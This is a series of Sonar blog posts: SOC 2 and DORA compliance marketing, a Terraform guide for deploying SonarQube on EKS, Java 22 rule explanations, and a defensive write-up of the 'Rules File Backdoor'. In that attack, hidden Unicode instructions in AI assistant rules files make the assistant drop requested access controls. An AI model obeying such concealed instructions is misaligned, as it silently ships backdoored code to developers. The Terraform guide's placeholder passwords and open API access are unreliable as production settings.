Sonar's integrated code quality and code security solutions provide a powerful answer to these challenges. By analyzing all code – whether human-written, AI-generated, or third-party open source – Sonar ensures the development of more secure, reliable, and maintainable software, directly contributing to your SOC 2 compliance efforts.

The SonarQube offering, available as self-managed (SonarQube Server) and cloud-based (SonarQube Cloud), along with the free IDE extension (SonarQube for IDE), seamlessly integrates into your development and build processes. This integration automatically enforces CC7.1 (Vulnerability Detection and Monitoring) by providing continuous analysis for all code branches and pull requests.

Sonar enforces code security with SonarQube Advanced Security, an add-on for SonarQube Enterprise that extends SonarQube's powerful analysis to protect your entire software supply chain, with a particular focus on open source dependencies. It achieves this through two major capabilities: Software Composition Analysis (SCA) and advanced Static Application Security Testing (SAST). This comprehensive approach directly supports your efforts in meeting CC7.1 and demonstrating a proactive stance on vulnerability management.

Development teams can also benefit from Sonar's broad coverage of other critical SOC 2 control requirements:

CC2.1 and CC3.4: Gain high-quality and accurate metrics about the risks posed to your systems, providing the data needed for informed decision-making and assessment of impactful changes.
CC5.2 and CC5.3: Demonstrate strong controls integrated directly into your SDLC through features like Quality Gates and Security Scores, proving effective technology control and deployment activities.
CC8.1 (Change Management Process): Exhibit continuous security testing throughout your change management processes, ensuring that new code deployments maintain security integrity.

The impact on developers is minimal and predictable, as their primary task becomes correcting identified findings. With the SonarQube for IDE plugin, this process shifts even further left to catch issues in real-time as developers are coding — what we like to call “start left”. It’s also easy to ensure comprehensive coverage across the entire development stack with static analysis rules for 30+ programming languages.

Project managers gain access to consolidated statistics through rich reports and dashboards, providing insights into findings and outstanding issues. This ensures consistent measurement of quality and security across all products, departments, and teams. Furthermore, Quality and Security Gates can be fine-tuned to promote continuous improvement, aligning with SOC 2's emphasis on ongoing control effectiveness.

Having all changes meticulously tracked and reported through enterprise reports also significantly simplifies the process of providing auditors with evidence of secure and high-quality code. You can also clearly demonstrate continuous improvement to the auditor, by showcasing the raising of quality gates and a reduction in the number of findings over time, directly supporting the operational effectiveness aspect of your SOC 2 audit.

Beyond technical controls, Sonar continuously educates developers through its 6,000+ static analysis rules, effectively demonstrating compliance with CC1.4 (Competence of Personnel). This highlights your organization's commitment to developing and retaining competent individuals, a crucial element of a strong control environment.

Ready to enhance your code security and streamline your SOC 2 compliance journey? Integrate SonarQube Server, SonarQube Cloud, or SonarQube for IDE into your development workflow to automatically enforce well-designed and operative SOC 2 controls within your SDLC.

Start your journey towards robust, secure code and efficient SOC 2 compliance by requesting a demo or evaluating SonarQube today!

Deploy SonarQube Server on Kubernetes with Terraform

Robert Curlee — Fri, 25 Jul 2025 05:00:00 GMT

TL;DR overview

This guide covers deploying SonarQube Server on Kubernetes using Terraform—providing a reproducible, infrastructure-as-code approach for teams running SonarQube in cloud-native environments.
The approach uses Terraform modules to provision the Kubernetes cluster, persistent storage, database, and SonarQube resources, enabling version-controlled, repeatable deployments.
Running SonarQube on Kubernetes enables horizontal scaling, rolling updates, and integration with cloud-native monitoring and logging infrastructure.
Teams with existing Kubernetes and Terraform expertise will find this deployment pattern lowers the operational burden of managing SonarQube Server compared to traditional VM-based installations.

Platform Engineering and DevSecOps teams are driven to move at a blistering pace. Managing multiple tools using different deployment approaches can slow these teams down. To help keep your Platform Engineering or DevSecOps teams working as high performers, Sonar supports deploying SonarQube Server in various ways. In other words, SonarQube Server can be deployed using the same tooling as your team’s other deployments. A common method to deploy is on a Kubernetes cluster using Terraform. This guide will walk through how to deploy SonarQube Server Enterprise on a Kubernetes cluster using Terraform. This setup facilitates the automated provisioning of a robust and scalable automated code review platform in a uniform manner as your other apps and services, ensuring secure, high-quality cloud-native applications.

Benefits of SonarQube

SonarQube is the leading platform for automated code reviews of code quality and code security. It provides comprehensive code analysis, enabling developers and security teams to detect vulnerabilities, bugs, and code smells across many programming languages. The key benefits of using SonarQube include:

Comprehensive code analysis: Supports multiple languages and provides in-depth insights into security vulnerabilities, coding errors, and maintainability issues.
Comply With Common Security Standards: Identifies security weaknesses based on PCI, OWASP, CWE, STIG, and CASA security standards and provides reports to help meet compliance.
Code quality management: Enforce best coding practices, reduce technical debt, manage code test coverage, and improve software reliability over time.

Advantages of Kubernetes

Deploying SonarQube Server on Kubernetes enhances scalability, resilience, and manageability of the server, making it an ideal choice for enterprises. Kubernetes offers the following advantages:

Scalability: Dynamic adjustment of resources based on demand, ensuring optimal performance.
Resilience: Automated health checks and self-healing mechanisms to minimize downtime and ensure high availability.
Container orchestration: Efficient management of containerized workloads alongside the automation of deployments, rollbacks, and updates.

Role of Terraform in Infrastructure as Code

Infrastructure as Code (IaC) is fundamental to maintaining a consistent and reproducible deployment environment. Terraform, a widely used IaC tool, automates the provisioning of cloud resources to help streamline infrastructure management. The advantages of using Terraform include:

Automation: Reduces manual intervention by automating infrastructure setup and configuration.
Consistency: Ensures that infrastructure is deployed in a standardized manner across environments.
Reproducibility: Enables repeatable deployments, minimizing configuration drift and improving operational efficiency.

Prerequisites

To follow along with this guide, you will need the following:

A SonarQube Enterprise Key.
Kubernetes CLI and Helm installed.
Familiarity with how to work with Kubernetes and Helm tools at the command line.
An account with a cloud service provider, such as AWS, Azure, or GCP.

Terraform configuration

You can find the Terraform code used in this guide in the SonarQube Installations GitHub repo. There, you’ll find an example of a full SonarQube Server deployment to AWS EKS in terraform/create-eks/main.tf:

terraform {
  required_providers {
    aws = {
      source  = "hashicorp/aws"
    }
  }
}

provider "aws" {
  region = var.aws_region
  access_key = var.aws_access_key
  secret_key = var.aws_secret_key
}

# Create a VPC
module "vpc" {
  source  = "terraform-aws-modules/vpc/aws"
  version = "5.0.0"

  name                 = "eks-vpc"
  cidr                 = "10.0.0.0/16"
  enable_dns_hostnames = true
  enable_dns_support   = true

  azs             = ["us-west-1b", "us-west-1c"]
  public_subnets  = ["10.0.1.0/24", "10.0.2.0/24"]
  private_subnets = ["10.0.3.0/24", "10.0.4.0/24"]
  enable_nat_gateway = true
  map_public_ip_on_launch = true
}

# Create an EKS cluster
module "eks" {
  source          = "terraform-aws-modules/eks/aws"
  cluster_name    = "sonarqube-cluster"
  cluster_version = "1.31"
  subnet_ids      = module.vpc.private_subnets
  vpc_id          = module.vpc.vpc_id

  # To add the current caller identity as an administrator
  enable_cluster_creator_admin_permissions = true

  cluster_addons = {
    coredns = {
      most_recent = true
    }
    kube-proxy = {
      most_recent = true
    }
    vpc-cni = {
      most_recent = true
    }
    aws-ebs-csi-driver = {
      most_recent = true
    }
  }


  eks_managed_node_groups = {
    sonarqube_nodes = {
      desired_size = 2
      max_size     = 3
      min_size     = 1

      instance_types = ["m5.xlarge"]

      # Needed by the aws-ebs-csi-driver
      iam_role_additional_policies = {
        AmazonEBSCSIDriverPolicy = "arn:aws:iam::aws:policy/service-role/AmazonEBSCSIDriverPolicy"
      }
    }
  }

  cluster_endpoint_public_access  = true
  cluster_endpoint_private_access = true
  cluster_endpoint_public_access_cidrs = ["0.0.0.0/0"]

  tags = {
    Environment = "enterprise"
    Terraform   = "true"
  }
}

# Security Group for public access
resource "aws_security_group" "sonarqube_sg" {
  vpc_id = module.vpc.vpc_id

  ingress {
    from_port   = 80
    to_port     = 80
    protocol    = "tcp"
    cidr_blocks = ["0.0.0.0/0"]
  }

  ingress {
    from_port   = 443
    to_port     = 443
    protocol    = "tcp"
    cidr_blocks = ["0.0.0.0/0"]
  }

  egress {
    from_port   = 0
    to_port     = 0
    protocol    = "-1"
    cidr_blocks = ["0.0.0.0/0"]
  }
}

# Outputs for SonarQube Helm configuration
output "eks_cluster_name" {
  value = module.eks.cluster_name
}

output "eks_cluster_endpoint" {
  value = module.eks.cluster_endpoint
}

Let’s walk through the IaC code, explaining the resources described in this file.

AWS provider configuration

provider "aws" {
  region     = var.aws_region
  access_key = var.aws_access_key
  secret_key = var.aws_secret_key
}

The provider section defines the AWS provider, using the given variables (var.aws_region, var.aws_access_key, and var.aws_secret_key) for authentication with your AWS account. These variables are defined in variables.tf and may require credentials (such as the AWS secrets) stored in a terraform.tfvars file. The AWS region is also dynamically set via var.aws_region.

AWS VPC Module

module "vpc" {
  source  = "terraform-aws-modules/vpc/aws"
  version = "5.0.0"

  name                 = "eks-vpc"
  cidr                 = "10.0.0.0/16"
  enable_dns_hostnames = true
  enable_dns_support   = true

  azs             = ["us-west-1b", "us-west-1c"]
  public_subnets  = ["10.0.1.0/24", "10.0.2.0/24"]
  private_subnets = ["10.0.3.0/24", "10.0.4.0/24"]
  enable_nat_gateway = true
  map_public_ip_on_launch = true
}

This code block uses the Terraform AWS VPC module to create a virtual private cloud (VPC) named "eks-vpc" with the CIDR block 10.0.0.0/16. It does the following:

Enables DNS hostnames and DNS support for resources in the VPC.
Defines two availability zones (us-west-1b, us-west-1c).
Creates two public subnets (10.0.1.0/24, 10.0.2.0/24).
Creates two private subnets (10.0.3.0/24, 10.0.4.0/24).
Enables a NAT Gateway for private subnet internet access.
Allows public instances to be assigned public IPs on launch.

AWS EKS cluster module

module "eks" {
  source          = "terraform-aws-modules/eks/aws"
  cluster_name    = "sonarqube-cluster"
  cluster_version = "1.31"
  subnet_ids      = module.vpc.private_subnets
  vpc_id          = module.vpc.vpc_id

  enable_cluster_creator_admin_permissions = true

This block uses the Terraform AWS EKS module to create an EKS cluster named sonarqube-cluster with Kubernetes version 1.31. The VPC ID and private subnets come from the VPC module above this section.

The line that follows, regarding admin permissions, grants administrative cluster access to the current IAM user, which will be the user that Terraform is running in AWS as. This significantly simplifies the Terraform needed; otherwise, additional roles or policies may be needed and specifically applied to users and resources.

Note: For production purposes, it is recommended to disable the enable_cluster_creator_admin_permissions line. Instead, you should set up special roles and policies for this deployment and management. Next, but still within the EKD module section, we have the following lines:

Next, but still within the EKD module section, we have the following lines:

cluster_addons = {
    coredns = {
      most_recent = true
    }
    kube-proxy = {
      most_recent = true
    }
    vpc-cni = {
      most_recent = true
    }
    aws-ebs-csi-driver = {
      most_recent = true
    }
  }

This enables the following EKS-managed add-ons:

coredns: Facilitates service discovery.
kube-proxy: Maintains network rules.
vpc-cni: Handles AWS VPC networking.
aws-ebs-csi-driver: Manages EBS volumes for persistent storage. (Note: This is a crucial step and often missing from the documentation on setting up SonarQube on Kubernetes.)

Next, we have the following snippet:

 eks_managed_node_groups = {
    sonarqube_nodes = {
      desired_size = 2
      max_size     = 3
      min_size     = 1

      instance_types = ["m5.xlarge"]

      # Needed by the aws-ebs-csi-driver
      iam_role_additional_policies = {
        AmazonEBSCSIDriverPolicy = "arn:aws:iam::aws:policy/service-role/AmazonEBSCSIDriverPolicy"
      }
    }
  }

This creates a managed node group called sonarqube_nodes. It starts with two worker nodes but can scale between one and three. Each node will use an m5.xlarge instance. Adjust these instance types to meet your resource needs. However, if the node resources are too small, SonarQube will not install correctly and may not give useful feedback.

Lastly, the following section of code grants IAM permissions for the EBS CSI driver.

cluster_endpoint_public_access  = true
  cluster_endpoint_private_access = true
  cluster_endpoint_public_access_cidrs = ["0.0.0.0/0"]

This allows both public and private access to the Kubernetes API server. Public access is open to any IP address (0.0.0.0/0). This may pose a security risk, so adjust this accordingly based on your organizational needs.

Security group for public access

resource "aws_security_group" "sonarqube_sg" {
  vpc_id = module.vpc.vpc_id

  ingress {
    from_port   = 80
    to_port     = 80
    protocol    = "tcp"
    cidr_blocks = ["0.0.0.0/0"]
  }

  ingress {
    from_port   = 443
    to_port     = 443
    protocol    = "tcp"
    cidr_blocks = ["0.0.0.0/0"]
  }

  egress {
    from_port   = 0
    to_port     = 0
    protocol    = "-1"
    cidr_blocks = ["0.0.0.0/0"]
  }
}

This section creates an AWS security group (sonarqube_sg) that allows HTTP (port 80) and HTTPS (port 443) traffic from anywhere (0.0.0.0/0). This group matches the cluster endpoint access CIDR and allows all outbound traffic.

Deploying with Terraform

The following Terraform code, found at terraform/deploy-sonarqube/main.tf, installs SonarQube on an existing Kubernetes cluster:

terraform {
  required_providers {
    helm = {
      source  = "hashicorp/helm"
      version = ">= 2.0.0"
    }
    kubernetes = {
      source  = "hashicorp/kubernetes"
      version = ">= 2.0.0"
    }
  }
}

provider "kubernetes" {
  config_path = var.kube_config
}

provider "helm" {
  kubernetes {
    config_path = var.kube_config
  }
}

# Namespace for SonarQube
resource "kubernetes_namespace" "sonarqube" {
  metadata {
    name = "sonarqube"
  }
}

# Helm release for SonarQube
resource "helm_release" "sonarqube" {
  name       = "sonarqube"
  repository = "https://SonarSource.github.io/helm-chart-sonarqube"
  chart      = "sonarqube"
  namespace  = kubernetes_namespace.sonarqube.metadata[0].name

  values = [
    <<EOF
monitoringPasscode: "ChangeMe1234!"

edition: "enterprise"

service:
  type: ClusterIP

persistence:
  enabled: true
  storageClass: gp2

postgresql:
  postgresqlUsername: "sonarUser"
  postgresqlPassword: "sonarPass"
  postgresqlDatabase: "sonarDB"
  persistence:
    storageClass: gp2
EOF
  ]
}

# Output SonarQube service details
output "sonarqube_service" {
  value = helm_release.sonarqube.name
}

This Terraform configuration deploys SonarQube on a Kubernetes cluster using Helm. The key components of this configuration include:

The kubernetes and helm providers, which reference a Kubeconfig file (defined via var.kube_config) to authenticate and interact with the Kubernetes cluster.
A Kubernetes namespace called sonarqube, which helps isolate the SonarQube deployment.

Lastly, it creates resources for deploying SonarQube via Helm, using the official SonarQube Helm Chart from SonarSource:

The Helm release name is sonarqube and is deployed in the sonarqube namespace.
The values block configures key settings for SonarQube:
- The monitoring password, which is a required property, is set to ChangeMe1234! This should be updated for security.
- The SonarQube Enterprise is enabled for this example.
- The service type is ClusterIP, meaning SonarQube is only accessible inside the cluster.
- Persistence is enabled, ensuring data is stored even if the pod restarts.
- The storage class is set to gp2, which is specific to AWS.
PostgreSQL configuration
- Uses an embedded PostgreSQL database configured within the Helm Chart.
- Provides database credentials (sonarUser, sonarPass).
- Enables database persistence with the gp2 storage class. This is a requirement for AWS EKS.
- See the documentation on the official Helm Chart for setting up access to a remote database.

Deploying SonarQube on Kubernetes involves several key steps. Let’s walk through them one at a time.

Step 1: Provision the EKS cluster

Before deploying SonarQube, you need to provision an EKS cluster. Navigate to the folder with the Terraform module responsible for creating the EKS cluster (terraform/create-eks). Initialize the Terraform workspace and apply the configuration:

$ terraform init
$ terraform apply -auto-approve

This will provision an EKS cluster named sonarqube-cluster along with necessary networking and IAM resources.

Step 2: Configure kubectl for EKS

Once the cluster is up and running, configure your local kubectl to communicate with the new cluster:

$ aws eks update-kubeconfig \

    --region us-west-1 \

    --name sonarqube-cluster

Verify the connection by checking the cluster nodes:

$ kubectl get nodes

You should not see any nodes, but the above command will at least verify the EKS authentication is successful.

Step 3: Deploy SonarQube with Terraform

Next, deploy SonarQube using the separate Terraform module. Navigate to the SonarQube deployment Terraform folder (terraform/deploy-sonarqube). Apply the configurations here, just as you did above.

$ terraform init
$ terraform apply -auto-approve

This will install SonarQube onto the EKS cluster, creating the necessary Kubernetes deployments, services, and persistent storage configurations.

Step 4: Check deployment

Once Terraform completes, verify that SonarQube is running by listing the deployed pods:

$ kubectl get pods -n sonarqube

NAME                     READY   STATUS    RESTARTS   AGE
sonarqube-postgresql-0   1/1     Running   0          8m8s
sonarqube-sonarqube-0    1/1     Running   0          8m8s

This time, you should see pods in the command response. If both pods are ready (STATUS is Running), then the installation has completed successfully.

Step 5: Verification and validation

To access the running SonarQube application, forward the port from the cluster to your local machine with the following commands:

# Get the name of the pod that SonarQube is running on:
$ kubectl get pods \

    --namespace sonarqube \

    -l "app=sonarqube,release=sonarqube" \

    -o jsonpath="{.items[0].metadata.name}"

# Forward port 9000 from that pod to your local machine
$ kubectl port-forward <NAME OF POD> 9000:9000 -n sonarqube

Open a browser and navigate to http://localhost:9000. You should be greeted with the SonarQube login:

The default Administrator username is admin, and the password is admin. Upon first login, you will be asked to change this password.

Then, you will be asked to set your Enterprise license key into SonarQube Server.

Note: Your license key is tied to your server ID, as shown below:

Scaling and maintenance with Terraform

Terraform simplifies the initial deployment of SonarQube Server on Kubernetes, and it provides a structured approach to scaling, upgrading, and maintaining the deployment over time. By leveraging Terraform to host SonarQube Server, you can ensure consistency and automate tedious tasks.

Scaling SonarQube Server resources

Scaling SonarQube Server in Kubernetes involves adjusting resource allocations for performance optimization. With Terraform, you can modify the Helm Chart values to increase CPU, memory, and replica counts.

For example, in a high-traffic environment, scaling up SonarQube Server’s compute resources can enhance performance. To do this, modify the Terraform configuration for SonarQube Server to read in values from a separate file called values.yaml.

resource "helm_release" "sonarqube" {
  name       = "sonarqube"
  repository = "https://SonarSource.github.io/helm-chart-sonarqube"
  chart      = "sonarqube"
  namespace  = "sonarqube"

  values = [
    file("values.yaml") # Read values from a file instead of hardcoding
  ]
}

To scale the deployment, update values.yaml with the necessary resource requests and limits:

sonarqube:
  replicaCount: 3
  resources:
    requests:
      cpu: "2"
      memory: "4Gi"
    limits:
      cpu: "4"
      memory: "8Gi"

After making changes, apply them using terraform apply -auto-approve.

Updating the SonarQube Server version

Sonar releases SonarQube Server updates with new features every two months and patches as needed to fix critical bugs and security vulnerabilities. With Terraform, updates are seamless. Simply update the version value in the Terraform script. You can see the latest versions available in the SonarQube Docker Hub. Here’s an example:

resource "helm_release" "sonarqube" {
  name       = "sonarqube"
  repository = "https://SonarSource.github.io/helm-chart-sonarqube"
  chart      = "sonarqube"
  namespace  = "sonarqube"
  version    = "2025.4.2" # Update to the latest version
}

Running terraform apply will replace the existing deployment with the updated version while preserving persistent data if managed correctly. For production environments, test upgrades in a staging environment before applying them to production.

Managing the SonarQube Server lifecycle

Terraform helps manage the entire lifecycle of SonarQube Server, from deployment to decommissioning. By defining SonarQube Server as a resource in Terraform, you gain full control over its lifecycle, providing you with the following:

Automated backups: Integrate Terraform with a cloud provider snapshot mechanism to ensure database backups before making significant changes.
State management: To maintain team consistency, store Terraform state securely using remote backends (such as AWS S3 or GitLab).
Destroying resources: If SonarQube Server is no longer needed, clean up resources safely with terraform destroy -auto-approve.

Terraform best practices

By following best practices, you ensure the maintainability and security of your Terraform projects. Proper version control, modular code structures, and effective state management can streamline operations and prevent misconfigurations.

Use version control for configurations

Storing your Terraform configurations in a version control system like Git gives you a structured approach to managing infrastructure changes. By tracking modifications in a repository, teams can collaborate effectively, roll back to previous states if necessary, and enforce code reviews before applying updates.

When using version control, adopt the following best practices:

Use Git branches for changes. Implement feature branches for updates and merge them through pull requests to ensure review before deployment.
Tag stable releases. Use Git tags to mark stable infrastructure configurations that have been tested and verified.
Maintain a .gitignore file. Prevent sensitive files such as terraform.tfstate or .terraform directories from being committed.

Modularize code for reusability

Using a modular structure for Terraform code improves maintainability and allows reuse across multiple environments. Instead of a monolithic Terraform script, break configurations into smaller, reusable modules.

For example, create a sonarqube module:

modules/
  ├── sonarqube/
  │   ├── main.tf
  │   ├── variables.tf
  │   ├── outputs.tf

Then, reference the module in the main configuration:

module "sonarqube" {
  source = "./modules/sonarqube"
  namespace = "sonarqube"
  replica_count = 2
}

Leverage Terraform state for managing deployments

Terraform uses a state file (terraform.tfstate) to track the current infrastructure configuration. Proper state management is crucial for consistency and avoiding drift between the declared and actual infrastructure.

Adopt the following best practices for Terraform state management:

Use remote state storage. Store the state file in a backend (such as AWS S3, Azure Storage, or Terraform Cloud) to enable team collaboration.
Enable state locking. Prevent concurrent state modifications by using locking mechanisms such as AWS DynamoDB with S3.
Secure state files. The state file may contain sensitive information, so use encryption and restrict access.

Below is an example configuration for remote state storage in AWS:

terraform {
  backend "s3" {
    bucket         = "my-terraform-state"
    key            = "sonarqube/terraform.tfstate"
    region         = "us-east-1"
    dynamodb_table = "terraform-lock"
    encrypt        = true
  }
}

Conclusion

Deploying SonarQube Server on EKS using Terraform provides a scalable and declarative approach to managing your infrastructure. By leveraging Terraform, we streamlined the installation process and enabled efficient scaling, version upgrades, and lifecycle management. Best practices such as using version control for Terraform configurations, implementing modular code for reusability, and leveraging remote state storage further enhance reliability and collaboration.

With Terraform, managing SonarQube Server becomes a repeatable and controlled process, reducing manual intervention and ensuring consistency across deployments. By adopting this approach, teams can maintain a robust SonarQube Server setup on Kubernetes.

How SonarQube defends against the "Rules File Backdoor"

Alexandre Gigleux — Wed, 23 Jul 2025 05:00:00 GMT

TL;DR overview

AI-generated code must be verified like any other code: LLMs prioritize functional output, not code quality and security, making independent analysis essential before integration.
Common risks include hardcoded secrets, insecure dependencies, missing input validation, and maintainability issues that can introduce vulnerabilities and technical debt.
SonarQube’s AI Code Assurance applies a dedicated quality gate to AI-generated code, enforcing security review, zero new vulnerabilities, and reliability standards before merge.
A “vibe, then verify” approach—using AI to accelerate development while systematically applying static analysis—helps teams boost productivity without compromising code quality and security.

The rapid adoption of AI-powered code assistants like GitHub Copilot, Windsurf, and Cursor has transformed software development, but it has also introduced new code quality and code security challenges. A recent blog from Pillar Security, "New Vulnerability in GitHub Copilot and Cursor: How Hackers Can Weaponize Code Agents" highlights a critical supply chain attack vector. This case highlights an issue where configuration files were manipulated through hidden Unicode characters, which is a vector now commonly referred to as the "Rules File Backdoor".

To direct code assistant output, developers often embed instructions in READMEs or specialized files (e.g., Cursor's .mdc). While these files are widely adopted across teams and open-source communities, they're frequently shared and integrated into projects with little to no security validation, posing a potential risk. These files, typically perceived as safe because they are non-executable, can be used to manipulate code generation.

This “Rules File Backdoor” vulnerability leverages hidden malicious instructions, often embedded using invisible Unicode characters, within configuration files that guide AI code agents. These concealed prompts can instruct the AI to generate insecure or even backdoored code, all while remaining undetected during traditional code reviews. Because configuration files are often trusted implicitly, they present an attractive target for attackers.

Mapping these threats to code issues:

The mechanisms exploited in the "Rules File Backdoor" serve as reminders of several well-known challenges in the software development process:

Code obfuscation: The use of hidden Unicode characters to hide malicious content is a form of code obfuscation that can mask dangerous instructions and bypass traditional review processes.
Supply chain vulnerabilities: Configuration files, as part of the development supply chain, can introduce vulnerabilities when manipulated. Their trusted status means that a single compromised file may jeopardize multiple projects or even entire ecosystems.
Lack of input validation: Automated code generation tools may neglect to validate input from configuration files properly, leading to the propagation of insecure coding practices throughout the codebase.
Automation bias: There is a natural tendency to trust the output of automated tools. When developers do not adequately scrutinize AI-generated code, there is an increased risk of introducing vulnerabilities.

How SonarQube detects and prevents these issues

At Sonar, we recognize the importance of securing every stage of the development pipeline, especially as AI tools become more deeply integrated into coding workflows. SonarQube is designed to address a broad range of vulnerabilities through its extensive set of static code analysis rules and integrated code quality and security features. Its capabilities can be directly mapped against the risks demonstrated by the "Rules File Backdoor" case. SonarQube (Server and Cloud) can detect hidden characters and suspicious patterns within configuration files used by tools like Copilot and Cursor. By surfacing these invisible threats, SonarQube empowers development teams to identify and remove malicious instructions before they can influence code generation.

This proactive approach is essential for preventing the weaponization of large language models (LLMs) and ensuring that generated code remains secure and free from hidden vulnerabilities. By integrating SonarQube into your development process, you can safeguard your software supply chain against sophisticated and stealthy attacks that exploit AI-powered tools.

In action

SonarQube has measures to detect suspicious Unicode sequences through rules. These rules target control characters that are commonly used to obfuscate malicious code. By alerting developers to these unexpected characters, SonarQube helps prevent hidden injections from influencing code behavior.

This is an example of a rules configuration file for Cursor:

When a developer asks to create a new endpoint, the requested protection is added (ie: the ADMIN role)

This is an example of a another rules configuration file for Cursor containing hidden instructions:

It is similar for a human to the previous one without hidden instructions.

When a developer asks for a new endpoint to be created, this time, there is no longer any of the protection requested:

SonarQube can detect these hidden unicode characters in all files so developers understand the security risks and fix the configuration files.

With SonarQube, configuration files are now subject to the same level of scrutiny as source code.

Stay secure

As the landscape of software development evolves, so do the tactics of malicious actors. Robust code quality and code security measures, like those provided by Sonar, are vital to protect your codebase from emerging threats. Employing SonarQube not only helps in catching potential issues before they escalate but also fosters a proactive culture of security and quality: it is an indispensable tool in modern software development.

Java 22: Leverage unnamed variables and patterns

Jonathan Vila Lopez — Mon, 21 Jul 2025 22:00:00 GMT

TL;DR overview

Java 22 introduces unnamed variables and patterns—using `_` as a placeholder—allowing developers to discard values they don't need in switch expressions, catch clauses, and lambda parameters.
This feature reduces boilerplate and makes developer intent explicit: using `_` signals that a value is intentionally ignored, improving readability and preventing unused-variable warnings.
Sonar adds rules that detect where unnamed variables can replace explicit but unused bindings, helping teams adopt Java 22 features that make code more concise and clear.
Teams upgrading to Java 22 should review existing code for patterns where unnamed variables apply, particularly in complex switch expressions and multi-catch blocks where unused exception parameters are common.

Understanding the new features in Java is crucial for writing updated, efficient, and high quality code. To assist developers in adopting these changes correctly, SonarQube has introduced several new rules designed to check for the proper usage of unnamed variables and patterns, ensuring your code adheres to best practices and avoids common pitfalls.

In this three-part blog series, we’ll be covering the latest features in Java 22, 23, and 24, and the new SonarQube rules to help you effectively take advantage.

In this first blog, we’re digging into Java 22, which introduces several new language features. But there’s one particularly important — the Unnamed variables and patterns with simple examples.

What are Unnamed variables and patterns?

A significant and welcome addition in Java 22 is the finalization of Unnamed variables and patterns, officially detailed in JEP 456. This feature enhances code clarity by allowing developers to use an underscore (_) for variables and patterns that are intentionally left unused.

This elegantly addresses common scenarios where a variable is required by syntax but has no relevance to the business logic, such as a caught exception object that is never inspected or a loop variable in an enhanced for-loop where only the iteration count matters.

By replacing these placeholder names with a simple underscore, developers can reduce code clutter, eliminate "unused variable" warnings, and more clearly express their intent. This ultimately leads to higher-quality, more maintainable Java code.

SonarQube introduces a suite of new rules to ensure proper adoption of Java 22's unnamed variables and patterns. These rules — including S7466, S7467, and S7475 — guide developers in leveraging this feature for more maintainable code. Adhering to these guidelines enables teams to significantly improve code clarity and address redundant warnings.

Rule S7466: Unnamed variable declarations should use the var identifier

When declaring an Unnamed variable, the type declaration often becomes redundant. The primary purpose of an Unnamed variable is to signal that it won't be used, making its specific type less critical. Using var in this context enhances conciseness and maintains focus on the intent: to intentionally ignore the variable.

Let's look at an example. When iterating over a collection where only the number of iterations matters, the element itself is not used.

Noncompliant code example:

int count = 0;

for (String element : myList) { // "element" is unused

    count++;

}

In Java 22, you can use an Unnamed variable. However, explicitly declaring the type is unnecessary.

Noncompliant code example:

int count = 0;

for (String _ : myList) { // The type "String" is redundant

    count++;

}

This is where rule S7466 comes in, suggesting a cleaner, more concise approach.

Compliant solution:

int count = 0;

for (var _ : myList) {

    count++;

}

By using var, the code becomes less verbose and the intent remains clear.

Rule S7467: Unused exception parameters should use the Unnamed variable pattern

A common scenario in Java is catching an exception where the exception object itself is not needed. Previously, developers would have to declare the exception variable, even if it was never referenced, leading to "unused variable" warnings from static analysis tools. Java 22's Unnamed variables provide a perfect solution for this.

Consider a try-catch block where the simple fact that an exception was caught is enough, and its details are irrelevant.

Noncompliant code example:

try {

    // some operation that might throw an exception

} catch (NumberFormatException e) { // "e" is unused

    // log that the format was invalid

}

While functional, the declaration of e is noise. Using an unnamed variable is a better approach, and this is what SonarQube now recommends.

Compliant solution:

try {

    // some operation that might throw an exception

} catch (NumberFormatException _) {

    // log that the format was invalid

}

This compliant solution is cleaner and explicitly communicates that the exception object itself is not important for the handling logic.

Rule S7475: Types of unused record components should be removed from pattern matching

Record patterns, a powerful feature for deconstructing record instances, are also enhanced by unnamed patterns. When pattern matching against a record, you might only be interested in a subset of its components. With Unnamed patterns, you can ignore the components you don't need.

When an entire record component is unused in a pattern match, specifying its type is superfluous. Rule S7475 encourages the removal of these unnecessary type declarations, leading to more readable and less cluttered code.

Imagine you have a ColoredPoint record and you only need the Point component in your logic.

Noncompliant code example:

if (obj instanceof ColoredPoint(Point p, Color c)) { // "c" is unused

    // logic that only uses p

}

In Java 22, you can use an unnamed pattern for the Color component. However, including the type is not necessary if the component is completely ignored.

Noncompliant code example:

if (obj instanceof ColoredPoint(Point p, Color _)) { // The type "Color" is redundant

    // logic that only uses p

}

The most concise and readable version, as enforced by SonarQube, omits the type for the unused component entirely.

Compliant solution:

if (obj instanceof ColoredPoint(Point p, _)) {

    // logic that only uses p

}

This approach makes the code more focused on the relevant data, improving maintainability.

How Java 22 and SonarQube work together

By embracing the new features in Java 22 —such as Unnamed variables and patterns—developers can write more efficient, and more maintainable code resulting in a higher-quality code. However, staying abreast of these evolving language enhancements and consistently applying best practices can be challenging.

This is where tools like SonarQube, become invaluable. They provide automated checks that help ensure your code not only leverages these modern features correctly, but also adheres to high quality standards, ultimately improving code clarity and overall project quality.

How SonarQube enables DORA compliance for financial institutions

Manish Kapur — Mon, 21 Jul 2025 05:00:00 GMT

TL;DR overview

SonarQube helps financial institutions achieve DORA compliance by embedding code security and quality checks into the software development lifecycle—the point where ICT risks originate.
DORA requires financial entities to identify and manage ICT vulnerabilities across in-house and third-party software; SonarQube's SAST and SCA capabilities address both dimensions directly.
Continuous analysis with SonarQube provides audit-ready evidence of security controls, helping institutions demonstrate to regulators that operational resilience is managed proactively.
Teams can configure SonarQube's Quality Gate to enforce DORA-relevant security standards, ensuring no code with critical vulnerabilities is deployed to production systems.

The financial services industry stands at a critical juncture. With the Digital Operational Resilience Act (DORA) now fully in effect across the European Union, financial institutions must demonstrate robust cybersecurity and operational resilience capabilities. At the same time, the pace of digital transformation continues to accelerate, with organizations increasingly dependent on complex software systems and third-party providers.

For compliance professionals and development teams alike, this creates a challenging landscape: how do you maintain regulatory compliance while continuing to innovate and deliver software at speed? The answer lies in embedding security and resilience directly into the software development process, and this is where SonarQube becomes an invaluable ally.

Understanding DORA: A new era of digital resilience

The Digital Operational Resilience Act represents the most comprehensive regulatory framework for managing technology risks in the financial sector. Unlike previous regulations that focused primarily on capital requirements, DORA takes a holistic approach to digital operational resilience, establishing binding requirements that apply uniformly across all EU member states.

DORA's scope is intentionally broad, covering approximately 20 different types of financial entities, such as traditional banks and insurance companies to emerging crypto-asset service providers and crowdfunding platforms. Perhaps most significantly, the regulation extends its reach to critical Information and Communication Technology (ICT) third-party service providers, including cloud platforms, software vendors, and data centers that support financial institutions.

The regulation is built around six interconnected pillars that form a comprehensive framework for digital resilience:

